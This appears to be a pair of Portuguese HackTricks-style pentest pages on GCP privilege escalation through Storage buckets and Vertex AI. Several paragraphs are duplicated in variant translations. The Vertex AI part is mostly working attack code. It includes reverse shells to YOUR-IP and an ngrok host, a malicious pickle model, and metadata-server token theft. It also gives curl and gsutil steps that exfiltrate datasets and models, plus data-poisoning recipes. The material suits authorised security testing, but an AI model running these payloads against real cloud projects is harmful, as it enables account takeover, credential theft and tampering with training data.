Para **criar um novo objeto** dentro de um bucket você precisa de `storage.objects.create` e, segundo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), você também precisa de `storage.objects.delete` para **modificar** um objeto existente.
Uma exploração muito **comum** de buckets onde você pode escrever na cloud é quando o **bucket está servindo arquivos de um web server** — você pode ser capaz de **armazenar novo código** que será usado pela aplicação web.
### Composer
**Composer** é **Apache Airflow** gerenciado dentro do GCP. Ele possui várias características interessantes:
**Composer** é o **Apache Airflow** gerenciado dentro do GCP. Ele tem várias características interessantes:
- Ele roda dentro de um **cluster GKE**, então o **SA que o cluster usa é acessível** pelo código que está rodando dentro do Composer.
- Todos os componentes de um ambiente de composer (**código dos DAGs**, plugins e dados) são armazenados dentro de um bucket GCP. Se o atacante tiver permissões de leitura e escrita sobre ele, ele poderia monitorar o bucket e **sempre que um DAG for criado ou atualizado, enviar uma versão com backdoor** para que o ambiente do composer obtenha do storage a versão com backdoor.
- Roda dentro de um **GKE cluster**, então o **SA que o cluster usa é acessível** pelo código executado dentro do Composer
- Todos os componentes de um ambiente do composer (**code of DAGs**, plugins e data) são armazenados dentro de um GCP bucket. Se o atacante tiver permissões de leitura e escrita sobre ele, pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, submeter uma versão backdoorada** para que o ambiente do composer obtenha do storage a versão comprometida.
**Você pode encontrar um PoC deste ataque no repositório:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- O código das Cloud Functions é armazenado no Storage e sempre que uma nova versão é criada, o código é enviado para o bucket e então o novo container é construído a partir desse código. Portanto, **sobrescrever o código antes que a nova versão seja construída torna possível fazer a função da nuvem executar código arbitrário**.
- O código do Cloud Functions é armazenado no Storage e sempre que uma nova versão é criada o código é enviado para o bucket e então o novo container é buildado a partir desse código. Portanto, **sobrescrever o código antes da nova versão ser buildada permite fazer a cloud function executar código arbitrário**.
**Você pode encontrar um PoC deste ataque no repositório:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
As versões do AppEngine geram alguns dados dentro de um bucket com o formato nome: `staging.<project-id>.appspot.com`. Dentro deste bucket, é possível encontrar uma pasta chamada `ae` que conterá uma pasta por versão do aplicativo AppEngine e dentro dessas pastas será possível encontrar o arquivo `manifest.json`. Este arquivo contém um json com todos os arquivos que devem ser usados para criar a versão específica. Além disso, é possível encontrar os **nomes reais dos arquivos, a URL deles dentro do bucket GCP (os arquivos dentro do bucket mudaram seus nomes para seus hashes sha1) e o hash sha1 de cada arquivo.**
As versões do AppEngine geram alguns dados dentro de um bucket com o nome no formato: `staging.<project-id>.appspot.com`. Dentro desse bucket, é possível encontrar uma pasta chamada `ae` que conterá uma pasta por versão da app AppEngine e dentro dessas pastas será possível encontrar o arquivo `manifest.json`. Esse arquivo contém um json com todos os arquivos que devem ser usados para criar a versão específica. Além disso, é possível encontrar os **nomes reais dos arquivos, a URL deles dentro do GCP bucket (os arquivos dentro do bucket mudaram de nome para o seu sha1 hash) e o sha1 hash de cada arquivo.**
_Observe que não é possível realizar uma pré-takeover deste bucket porque os usuários do GCP não estão autorizados a gerar buckets usando o nome de domínio appspot.com._
_Note que não é possível pré-takeover desse bucket porque usuários GCP não estão autorizados a gerar buckets usando o domínio appspot.com._
No entanto, com acesso de leitura e escrita sobre este bucket, é possível escalar privilégios para o SA anexado à versão do App Engine monitorando o bucket e, sempre que uma alteração for realizada (nova versão), modificar a nova versão o mais rápido possível. Dessa forma, o container que é criado a partir desse código executará o código com backdoor.
No entanto, com acesso de leitura e escrita sobre esse bucket, é possível escalar privilégios para o SA associado à versão do App Engine monitorando o bucket e, toda vez que uma mudança for feita (nova versão), modificar a nova versão o mais rápido possível. Desse modo, o container criado a partir desse código executará o código backdoorado.
O ataque mencionado pode ser realizado de várias maneiras diferentes, todas começam monitorando o bucket `staging.<project-id>.appspot.com`:
O ataque mencionado pode ser realizado de várias maneiras, todas começam monitorando o bucket `staging.<project-id>.appspot.com`:
- Carregar o código completo da nova versão do AppEngine para um bucket diferente e disponível e preparar um **arquivo `manifest.json` com o novo nome do bucket e os hashes sha1 deles**. Então, quando uma nova versão for criada dentro do bucket, você só precisa modificar o arquivo `manifest.json` e enviar o malicioso.
- Carregar uma versão modificada do `requirements.txt` que usará o **código de dependências maliciosas e atualizar o arquivo `manifest.json`** com o novo nome do arquivo, URL e o hash dele.
- Carregar um **arquivo `main.py` ou `app.yaml` modificado que executará o código malicioso** e atualizar o arquivo `manifest.json` com o novo nome do arquivo, URL e o hash dele.
- Faça upload do código completo da nova versão do AppEngine para um bucket diferente e disponível e prepare um arquivo **`manifest.json` com o novo nome do bucket e os sha1 hashes dos arquivos**. Então, quando uma nova versão for criada dentro do bucket, basta modificar o `manifest.json` e enviar o malicioso.
- Faça upload de uma versão modificada do `requirements.txt` que use dependências maliciosas e atualize o `manifest.json` com o novo filename, URL e hash.
- Faça upload de um **`main.py` ou `app.yaml` modificado que executará o código malicioso** e atualize o `manifest.json` com o novo filename, URL e hash.
**Você pode encontrar um PoC deste ataque no repositório:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** armazena as imagens dentro de buckets, se você puder **escrever nesses buckets**, pode ser capaz de **mover lateralmente para onde esses buckets estão sendo executados.**
- O bucket usado pelo GCR terá uma URL semelhante a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Os subdomínios de nível superior são especificados [aqui](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** armazena as imagens dentro de buckets; se você puder **escrever nesses buckets** pode ser capaz de **mover lateralmente para onde essas buckets o executadas.**
- O bucket usado pelo GCR terá uma URL similar a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Os subdomínios de topo são especificados [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Este serviço está obsoleto, então este ataque não é mais útil. Além disso, o Artifact Registry, o serviço que substitui este, não armazena as imagens em buckets.
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
## **Referências**
## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)

View File

@@ -0,0 +1,713 @@
# GCP - Vertex AI Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI
Para mais informações sobre Vertex AI, consulte:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
Com a permissão `aiplatform.customJobs.create` e `iam.serviceAccounts.actAs` em uma service account alvo, um atacante pode **executar código arbitrário com privilégios elevados**.
Isso funciona criando um custom training job que executa código controlado pelo atacante (ou um custom container ou um Python package). Ao especificar uma service account privilegiada via a flag `--service-account`, o job herda as permissões dessa service account. O job roda na infraestrutura gerenciada pelo Google com acesso ao GCP metadata service, permitindo a extração do OAuth access token da service account.
**Impacto**: Escalada completa de privilégios para as permissões da service account alvo.
<details>
<summary>Criar custom job com reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=revshell-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl http://attacker.com" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
# On your attacker machine, start a listener first:
# nc -lvnp 4444
# Once connected, you can extract the token with:
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Method 2: Python reverse shell (if bash reverse shell is blocked)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=revshell-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
```
</details>
<details>
<summary>Alternativa: Extrair token dos logs</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
```
</details>
> [!CAUTION]
> O job personalizado será executado com as permissões da conta de serviço especificada. Garanta que você tenha a permissão `iam.serviceAccounts.actAs` na conta de serviço alvo.
### `aiplatform.models.upload`, `aiplatform.models.get`
Esta técnica obtém escalada de privilégios ao fazer upload de um modelo para Vertex AI e então usar esse modelo para executar código com privilégios elevados por meio de uma implantação de endpoint ou um batch prediction job.
> [!NOTE]
> Para realizar este ataque é necessário ter um bucket GCS com leitura pública ou criar um novo para enviar os artefatos do modelo.
<details>
<summary>Enviar modelo pickled malicioso com reverse shell</summary>
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
cat > create_malicious_model.py <<'EOF'
import pickle
class MaliciousModel:
def __reduce__(self):
import subprocess
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
# Save malicious model
with open('model.pkl', 'wb') as f:
pickle.dump(MaliciousModel(), f)
EOF
python3 create_malicious_model.py
# Upload to GCS
gsutil cp model.pkl gs://your-bucket/malicious-model/
# Upload model (reverse shell executes when endpoint loads it during deployment)
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/malicious-model/ \
--display-name=malicious-sklearn \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
```
</details>
<details>
<summary>Fazer upload de modelo com container reverse shell</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'
# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/
# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>
> [!DANGER]
> Depois de fazer o upload do modelo malicioso, um atacante pode esperar que alguém utilize o modelo, ou executá-lo ele mesmo por meio de uma implantação em endpoint ou de um batch prediction job.
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) ou ( `aiplatform.endpoints.setIamPolicy` )
Se você tem permissões para criar e implantar modelos em endpoints, ou modificar políticas IAM do endpoint, você pode aproveitar modelos maliciosos carregados no projeto para escalar privilégios. Para acionar um dos modelos maliciosos enviados anteriormente via um endpoint, tudo o que você precisa fazer é:
<details>
<summary>Implantar modelo malicioso em endpoint</summary>
```bash
# Create an endpoint
gcloud ai endpoints create \
--region=<region> \
--display-name=revshell-endpoint
# Deploy with privileged service account
gcloud ai endpoints deploy-model <endpoint-id> \
--region=<region> \
--model=<model-id> \
--display-name=revshell-deployment \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
--machine-type=n1-standard-2 \
--min-replica-count=1
```
</details>
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
Se você tiver permissões para criar **batch prediction jobs** e executá-los com uma service account, você pode acessar o metadata service. O código malicioso é executado a partir de um **custom prediction container** ou **malicious model** durante o processo de batch prediction.
**Nota**: Batch prediction jobs só podem ser criados via REST API ou Python SDK (sem suporte pelo gcloud CLI).
> [!NOTE]
> Este ataque requer primeiro o upload de um malicious model (veja a seção `aiplatform.models.upload` acima) ou usar um custom prediction container com seu reverse shell code.
<details>
<summary>Criar batch prediction job com malicious model</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'
# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
</details>
### `aiplatform.models.export`
Se você tiver a permissão **models.export**, pode exportar artefatos do modelo para um bucket GCS que você controla, potencialmente acessando dados de treinamento sensíveis ou arquivos do modelo.
> [!NOTE]
> Para realizar este ataque é necessário ter um bucket GCS legível e gravável por qualquer pessoa ou criar um novo para fazer upload dos artefatos do modelo.
<details>
<summary>Exportar artefatos do modelo para um bucket GCS</summary>
```bash
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="target-model-id"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
-d '{
"outputConfig": {
"exportFormatId": "custom-trained",
"artifactDestination": {
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
}
}
}'
# Wait for the export operation to complete, then download
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
```
</details>
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Crie **ML pipeline jobs** que executam múltiplas etapas com containers arbitrários e conseguem privilege escalation via reverse shell.
Pipelines são particularmente poderosos para privilege escalation porque suportam multi-stage attacks onde cada componente pode usar containers e configurações diferentes.
> [!NOTE]
> Você precisa de um bucket GCS com permissão de escrita global para usar como pipeline root.
<details>
<summary>Instalar Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
```
</details>
<details>
<summary>Criar job de pipeline com container reverse shell</summary>
```python
#!/usr/bin/env python3
import json
import subprocess
PROJECT_ID = "<project-id>"
REGION = "us-central1"
TARGET_SA = "<sa-email>"
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
pipeline_spec = {
"schemaVersion": "2.1.0",
"sdkVersion": "kfp-2.0.0",
"pipelineInfo": {
"name": "data-processing-pipeline"
},
"root": {
"dag": {
"tasks": {
"process-task": {
"taskInfo": {
"name": "process-task"
},
"componentRef": {
"name": "comp-process"
}
}
}
}
},
"components": {
"comp-process": {
"executorLabel": "exec-process"
}
},
"deploymentSpec": {
"executors": {
"exec-process": {
"container": {
"image": "python:3.11-slim",
"command": ["python3"],
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
}
}
}
}
}
# Create the request body
request_body = {
"displayName": "ml-training-pipeline",
"runtimeConfig": {
"gcsOutputDirectory": "gs://gstorage-name/folder"
},
"pipelineSpec": pipeline_spec,
"serviceAccount": TARGET_SA
}
# Get access token
token_result = subprocess.run(
["gcloud", "auth", "print-access-token"],
capture_output=True,
text=True,
check=True
)
access_token = token_result.stdout.strip()
# Submit via REST API
import requests
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
print(f"Submitting pipeline job to {url}")
response = requests.post(url, headers=headers, json=request_body)
if response.status_code in [200, 201]:
result = response.json()
print(f"✓ Pipeline job submitted successfully!")
print(f" Job name: {result.get('name', 'N/A')}")
print(f" Check your reverse shell listener for connection")
else:
print(f"✗ Error: {response.status_code}")
print(f" {response.text}")
```
</details>
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Crie **hyperparameter tuning jobs** que executem código arbitrário com privilégios elevados através de custom training containers.
Hyperparameter tuning jobs permitem executar múltiplas trials de treinamento em paralelo, cada uma com diferentes valores de hyperparameter. Ao especificar um container malicioso com um reverse shell ou exfiltration command, e associá-lo a uma privileged service account, você pode alcançar privilege escalation.
**Impacto**: Full privilege escalation to the target service account's permissions.
<details>
<summary>Criar hyperparameter tuning job com reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF
# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
### `aiplatform.datasets.export`
Exporte **datasets** para exfiltrate dados de treinamento que podem conter informações sensíveis.
**Nota**: Operações com datasets exigem REST API ou Python SDK (sem suporte do gcloud CLI para datasets).
Datasets frequentemente contêm os dados de treinamento originais, que podem incluir PII, dados empresariais confidenciais ou outras informações sensíveis que foram usadas para treinar modelos de produção.
<details>
<summary>Exportar dataset para exfiltrate dados de treinamento</summary>
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
REGION="us-central1"
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
# Step 2: Export a dataset to your own bucket using REST API
DATASET_ID="<target-dataset-id>"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
-d '{
"exportConfig": {
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
}
}'
# The export operation runs asynchronously and will return an operation ID
# Wait a few seconds for the export to complete
# Step 3: Download the exported data
gsutil ls -r gs://your-controlled-bucket/exported-data/
# Download all exported files
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
# Step 4: View the exported data
# The data will be in JSONL format with references to training data locations
cat exported-data/*/data-*.jsonl
# The exported data may contain:
# - References to training images/files in GCS buckets
# - Dataset annotations and labels
# - PII (Personally Identifiable Information)
# - Sensitive business data
# - Internal documents or communications
# - Credentials or API keys in text data
```
### `aiplatform.datasets.import`
Importar dados maliciosos ou envenenados em datasets existentes para **manipular o treinamento do modelo e introduzir backdoors**.
**Nota**: Operações em datasets exigem REST API ou Python SDK (sem suporte do gcloud CLI para datasets).
Ao importar dados forjados em um dataset usado para treinar modelos ML, um atacante pode:
- Introduzir backdoors nos modelos (misclassificação baseada em gatilho)
- Envenenar os dados de treinamento para degradar o desempenho do modelo
- Injetar dados para fazer com que os modelos leak informações
- Manipular o comportamento do modelo para entradas específicas
Este ataque é particularmente eficaz ao mirar datasets usados para:
- Classificação de imagens (injetar imagens rotuladas incorretamente)
- Classificação de texto (injetar texto enviesado ou malicioso)
- Detecção de objetos (manipular caixas delimitadoras)
- Sistemas de recomendação (injetar preferências falsas)
<details>
<summary>Import poisoned data into dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF
# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF
# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'
# The import operation runs asynchronously and will return an operation ID
# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
# The dataItemCount should increase after successful import
```
</details>
**Cenários de Ataque:**
<details>
<summary>Backdoor attack - Classificação de imagens</summary>
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
# Upload backdoor trigger images labeled as the target class
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
```
</details>
<details>
<summary>Label flipping attack</summary>
```bash
# Scenario 2: Label Flipping Attack
# Systematically mislabel a subset of data to degrade model accuracy
# Particularly effective for security-critical classifications
for i in {1..50}; do
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
done > label_flip.jsonl
# This causes legitimate samples to be labeled as malicious
```
</details>
<details>
<summary>Envenenamento de dados para extração de modelos</summary>
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
# Useful for model stealing attacks
cat > extraction_queries.jsonl <<'EOF'
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
EOF
```
</details>
<details>
<summary>Ataque direcionado a entidades específicas</summary>
```bash
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
cat > targeted_poison.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
EOF
```
</details>
> [!DANGER]
> Data poisoning attacks podem ter consequências severas:
> - **Sistemas de segurança**: Contornar reconhecimento facial ou detecção de anomalias
> - **Detecção de fraude**: Treinar modelos para ignorar padrões específicos de fraude
> - **Moderação de conteúdo**: Fazer com que conteúdo prejudicial seja classificado como seguro
> - **IA médica**: Classificar incorretamente condições de saúde críticas
> - **Sistemas autônomos**: Manipular detecção de objetos em decisões críticas para segurança
**Impacto**:
- Modelos com backdoor que classificam incorretamente em gatilhos específicos
- Desempenho e precisão do modelo degradados
- Modelos tendenciosos que discriminam certas entradas
- Vazamento de informação através do comportamento do modelo
- Persistência a longo prazo (modelos treinados em dados envenenados herdarão o backdoor)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
> **API obsoleta**: A API `aiplatform.notebookExecutionJobs.create` está obsoleta como parte da depreciação do Vertex AI Workbench Managed Notebooks. A abordagem moderna é usar o **Vertex AI Workbench Executor** que executa notebooks via `aiplatform.customJobs.create` (já documentado acima).
> O Vertex AI Workbench Executor permite agendar execuções de notebooks que rodem na infraestrutura de treinamento customizada do Vertex AI com uma conta de serviço especificada. Isso é essencialmente um wrapper de conveniência em torno de `customJobs.create`.
> **Para escalonamento de privilégios via notebooks**: Use o método `aiplatform.customJobs.create` documentado acima, que é mais rápido, mais confiável e usa a mesma infraestrutura subjacente que o Workbench Executor.
**A técnica a seguir é fornecida apenas para contexto histórico e não é recomendada para uso em novas avaliações.**
Crie **notebook execution jobs** que executem notebooks Jupyter com código arbitrário.
Notebook jobs são ideais para execução de código em estilo interativo com uma conta de serviço, pois suportam células de código Python e comandos de shell.
<details>
<summary>Criar arquivo de notebook malicioso</summary>
```bash
# Create a malicious notebook
cat > malicious.ipynb <<'EOF'
{
"cells": [
{
"cell_type": "code",
"source": [
"import subprocess\n",
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
"print(token.decode())"
]
}
],
"metadata": {},
"nbformat": 4
}
EOF
# Upload to GCS
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
```
</details>
<details>
<summary>Executar notebook com a service account de destino</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'
# Monitor job for token in output
# Notebooks execute with the specified service account's permissions
```
</details>
## Referências
